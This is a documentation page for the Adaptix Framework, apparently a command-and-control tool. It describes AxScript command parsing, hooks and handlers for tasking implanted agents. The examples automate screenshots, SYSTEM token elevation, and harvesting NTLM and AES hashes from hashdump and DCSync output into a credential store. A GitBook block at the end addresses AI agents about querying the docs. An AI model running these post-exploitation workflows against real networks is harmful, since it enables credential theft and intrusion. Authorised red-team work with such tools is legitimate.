> For the complete documentation index, see [llms.txt](https://adaptix-framework.gitbook.io/adaptix-framework/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript/axcommand-type/commands-and-hooks.md).

# Commands and Hooks

## Command data

When a user enters a command in the agent console, it is passed to the Commander handler. This handler matches the entered command with the registered *AxCommand* object, and then parses and converts the commandline into a JSON object:

* The argument name is the JSON key and the value is the JSON value.
* The JSON value type will match the argument type. The exception is the FILE type, as the file will be read and encoded in base64.

### Example:

Registered command:

```javascript
let _cmd_start = ax.create_command("start", "Description");
_cmd_start.addArgBool("-b");
_cmd_start.addArgInt("arg_int", true);
_cmd_start.addArgString("arg_str", true);
_cmd_start.addArgFlagString("-flag", "arg_str_flag", true);
_cmd_start.addArgFile("content", true);

let _cmd_stop = ax.create_command("stop", "Description");
_socks_stop.addArgInt("i", true);

let cmd = ax.create_command("cmd", "Description");
cmd.addSubCommands([_cmd_start, _cmd_stop]);
```

CommandLine:

```
cmd start -b 123 test -flag test_flag /tmp/file
```

JSON:

```json
{
    "command": "cmd",
    "subcommand": "start",
    "-b": true,
    "arg_int": 123,
    "arg_str": "test",
    "arg_str_flag": "test_flag",
    "content": "dGVzdCBjb250ZW50"
}
```

***

## PreHook

You can set a `PreHook` for a command. `PreHook` is an AxScript function that will process the command data between the command entry and sending its data to the server.

```cpp
setPreHook(function() handler)
```

`handler(id, cmdline, parsed_json, ...parsed_lines)` - is an AxScript function that takes 4 parameters:

* `id` -  identifier of the agent for which the command is specified
* `cmdline` - command sent from the agent console
* `parsed_json` - the JSON object that the command was converted to after processing.
* `parsed_lines` - is an array of strings that the command was converted to.

### Example

This code creates the `screenshot_bof` command

```cpp
var cmd_screenshot = ax.create_command("screenshot_bof", "Alternative screenshot capability that does not do fork n run by @codex_tf2", "screenshot -n screen1 -p 812");
cmd_screenshot.addArgFlagString("-n", "note", "Screenshot caption", "ScreenshotBOF");
cmd_screenshot.addArgFlagInt("-p", "pid", "PID of the application whose window screenshot will be taken. If 0, then a full-screen screenshot", 0);
```

If the command is sent from the agent console: `screenshot_bof -n "Test bof" -p 608`&#x20;

**cmdline:**

```cpp
screenshot_bof -n "Test bof" -p 608
```

**parsed\_lines:**

```cpp
["screenshot_bof", "-n", "Test bof", "-p", "608"]
```

**parsed\_json:**

```json
{
  "command": "screenshot_bof",
  "note": "Test bof",
  "pid": 608
}
```

In this example, `setPreHook` installs a handler that packages arguments into BOF format and executes the `execute bof` command via the `ax.execute_alias` function.

```cpp

cmd_screenshot.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let note = parsed_json["note"];
    let pid  = parsed_json["pid"];

    let bof_params = ax.bof_pack("cstr,int", [note, pid]);
    let bof_path = ax.script_dir() + "_bin/Screenshot." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof ${bof_path} ${bof_params}`, "Task: Screenshot BOF");
}
```

***

## PostHook

A PostHook is used to allow the user to access intermediate results and perform data transformations before displaying and saving. AxScript uses the concept of hooks due to its asynchronous behavior: sending a task to a beacon and receiving a response at a later time, depending on the current wait time.

After executing an asynchronous hook, you can perform the necessary operations to transform the result according to your use case (for each message in the task). Hooks can be used to process the task result, start an additional task, or format the result before outputting it to the agent console.

{% hint style="info" %}
You should test a hook before creating it and implementing it.
{% endhint %}

PostHook can be set via the `ax.execute_alias_hook`  or `ax.execute_command_hook` functions.

`hooktask handler(hooktask task)` - is an AxScript function that takes `hooktask` parameter and return `hooktask`.

* `task` -  a `hooktask` structure that contains the result of the task execution.

```javascript
// HOOKTASK STRUCTURE:
string hook_task["agent"]        // agent ID
string hook_task["type"]         // message type -> "info", "error" or "success"
string hook_task["message"]      // console
string hook_task["text"]         // task output
bool   hook_task["completed"]    // is the task complete (true) or is it still running (false)
int    hook_task["index"]        // job_index 
```

Both the client and teamserver save requests that have associated callbacks in a queue. The request is deleted when the initiating client disconnects from TeamServer. This deletes the queue managed by the client, as it is tied to each TeamServer connection. The queue on the teamserver will see the originating client has disconnected and flag any requests for that client to be removed. This means the originating client needs to stay connected to the teamserver until the command with a PostHook has completed. Otherwise, any responses from Beacon after a disconnection from the originating client will be lost.

### Example

[Hashdump BOF](https://github.com/Adaptix-Framework/Extension-Kit/tree/main/Creds-BOF/hashdump) output without posthook:

<div align="left"><figure><img src="/files/6pma7v0JsJzWX1lsCPip" alt=""><figcaption></figcaption></figure></div>

This posthook removes "BOF output" messages, parses names and hashes, and stores them in *Credentials Manager.*

```javascript
let hook = function (task)
{
    let agent = ax.agents()[task.agent];
    let computer = agent["computer"];
    let address = agent["internal_ip"];

    let match;
    let regex = /^([a-zA-Z0-9_\-]+):\d+:([a-fA-F0-9]{32})$/gm;
    while ((match = regex.exec(task.text)) !== null) {
        ax.credentials_add(match[1], match[2], "", "ntlm", "", "SAM", `${computer} (${address})`);
    }

    if(task.message != "BOF finished" && task.index != 0) { task.message = ""; }
    return task;
}
```

<div align="left"><figure><img src="/files/LIfcnqBgt8dqWHU55KQ1" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/vSXiev0PIag44z46HozH" alt=""><figcaption></figcaption></figure>

## Handler

A handler is used to allow the user to access and process the final result.

Handlers can be used to process a task's result, start an additional task, or transfer control within a task flow.

{% hint style="info" %}
You should test a handler before creating it and implementing it.
{% endhint %}

Handlers can be set via the `ax.execute_alias_handler`  or `ax.execute_command_handler` functions.

`void handler(handlertask task)` - is an AxScript function that takes `handlertask` parameter.

* `task` -  a `handlertask` structure that contains the result of the task execution.

```javascript
// HOOKTASK STRUCTURE:
string handlertask["id"]           // task ID
string handlertask["agent"]        // agent ID
string handlertask["cmdline"]      // Command line
string handlertask["type"]         // message type -> "info", "error" or "success"
string handlertask["message"]      // console
string handlertask["text"]         // task output
```

Both the client and the command server store requests with their corresponding callbacks in a queue. The request will remain stored, but will not be processed by the handler, when the initiating client disconnects from the command server. This means that the initiating client must remain connected to the command server until the command from the handler is completed.

### Example

```javascript
let dcsync_handler = function (task) {
    var lines = task.text.split(/\r?\n/);
    var results = [];
    var domainInfo = { dc: null, domain: null };
    var currentName = null;
    var currentObjectType = null;

    function pushHash(hashType, hashValue) {
        if (!currentName || !hashValue)
            return;

        let tag = ""
        if (currentObjectType == "Computer")
            tag = "computer";

        results.push({
            username: currentName,
            type: hashType,
            password: hashValue,
            storage: "dcsync",
            tag: tag,
            realm: domainInfo.domain,
            host: domainInfo.dc
        });
    }

    for (var i = 0; i < lines.length; i++) {
        if(results.length > 1000) {
            ax.credentials_add_list(results);
            results = []
        }

        var line = lines[i].trim();

        if (!domainInfo.dc && line.match(/^\[\*\]\s+Discovered DC:\s+(.+)$/)) {
            domainInfo.dc = line.match(/^\[\*\]\s+Discovered DC:\s+(.+)$/)[1];
            continue;
        }
        if (!domainInfo.domain && line.match(/^\[\*\]\s+Default naming context:\s+(.+)$/)) {
            domainInfo.domain = line.match(/^\[\*\]\s+Default naming context:\s+(.+)$/)[1];
            continue;
        }
        var mObj = line.match(/^\[\*\]\s+(User|Computer|Trust account|Object):\s+(.+)$/);
        if (mObj) {
            currentObjectType = mObj[1];
            currentName = mObj[2];
            continue;
        }

        var mNt = line.match(/^nt:\s*([0-9a-fA-F]{32})$/);
        if (mNt) {
            pushHash("ntlm", mNt[1]);
            continue;
        }
        var mAes256 = line.match(/^aes256:\s*([0-9a-fA-F]{64})$/);
        if (mAes256) {
            pushHash("aes256", mAes256[1]);
            continue;
        }
        var mAes128 = line.match(/^aes128:\s*([0-9a-fA-F]{32})$/);
        if (mAes128) {
            pushHash("aes128", mAes128[1]);
            continue;
        }
    }
    ax.credentials_add_list(results);
}
```

<figure><img src="/files/ziB8vwipQm1jmnm6OF2c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7iHF6wTNgnPckCvuXqU7" alt=""><figcaption></figcaption></figure>

***

## AxScript Execute command

### execute\_command

The function passes the specified `command` to the Commander handler for the agent with the specified `id`. This will work as if the user entered the command in the agent console.

```javascript
void ax.execute_command(string id, string command);
void ax.execute_command_hook(string id, string command, hook(task){});
void ax.execute_command_handler(string id, string command, handler(task){});
```

* `id` - agent ID
* `command` - command line
* `hook` - PostHook&#x20;
* `handler` - Handler

**Example:**

```javascript
ax.execute_command(id, "screenshot");
```

***

### execute\_browser

The function passes the specified `command` to the Commander handler for the agent with the specified `id`, but marks the task as TYPE\_BROWSER, so the command and its result are not saved and displayed in the agent console.

```javascript
void ax.execute_browser(string id, string command);
```

* `id` - agent ID
* `command` - command line

**Example:**

```javascript
ax.execute_browser(id, "disks");
```

***

### execute\_alias

The function passes the specified `command` to the Commander handler, but overrides the `comandline` and `message` for the agent console with the specified `id`. So if `execute_command` outputs the original `comandline` and `message`, `execute_alias` will replace them after processing and before output to the agent console.

```javascript
void execute_alias(string id, string cmdline, string command, string message = "");
void execute_alias_hook(string id, string cmdline, string command, string message, hook(task){});
void execute_alias_handler(string id, string cmdline, string command, string message, handler(task){});
```

* `id` - agent ID
* `command` - command line
* `cmdline` - new command line for agent console
* `message` - new message for agent console
* `hook` - PostHook&#x20;
* `handler` - Handler

**Example:**

```javascript
var _cmd_getsystem_token = ax.create_command("token", "Elevate the current agent to SYSTEM and gain the TrustedInstaller group privilege through impersonation", "getsystem token");
_cmd_getsystem_token.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let hook = function (task)
    {
        if(/Impersonate to SYSTEM & TrustedInstaller succeeded/.test(task.text)) {
            ax.agent_set_impersonate(task.agent, "SYSTEM", true);
        }
        return task;
    }

    let bof_path = ax.script_dir() + "_bin/getsystem_token." + ax.arch(id) + ".o";
    ax.execute_alias_hook(id, cmdline, `execute bof ${bof_path}`, "Task: Get system via token (BOF)", hook);
});
var cmd_getsystem = ax.create_command("getsystem", "Elevate context to SYSTEM");
cmd_getsystem.addSubCommands([_cmd_getsystem_token]);
```

***


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript/axcommand-type/commands-and-hooks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
